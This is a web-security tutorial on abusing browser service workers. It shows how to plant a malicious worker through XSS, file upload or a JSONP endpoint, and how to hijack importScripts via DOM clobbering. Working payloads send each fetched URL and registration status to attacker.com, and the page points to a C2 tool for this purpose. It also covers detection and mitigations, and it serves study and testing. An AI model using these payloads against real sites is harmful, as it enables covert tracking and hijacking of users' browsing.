# Abusing Service Workers



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## Basic Information

A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.


### Checking for Existing Service Workers

Existing service workers can be checked in the **Service Workers** section of the **Application** tab in **Developer Tools**. Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view.

### Push Notifications

**Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.

## Attack Creating a Service Worker

In order to exploit this vulnerability you need to find:

* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
* A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.

In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response):

```javascript
self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```

And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:

```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>
```

In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:

```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```

There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.

The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.

## Abusing `importScripts` in a SW via DOM Clobbering

The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.

**This even bypasses CSP protections.**

**Example vulnerable code:**

* **index.html**

```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
  // attacker controls location.search
</script>
```

* **sw.js**

```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```

### With DOM Clobbering

For more info about what DOM Clobbering is check:

{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}

If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.

For an example of this check the reference link.

## References

* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

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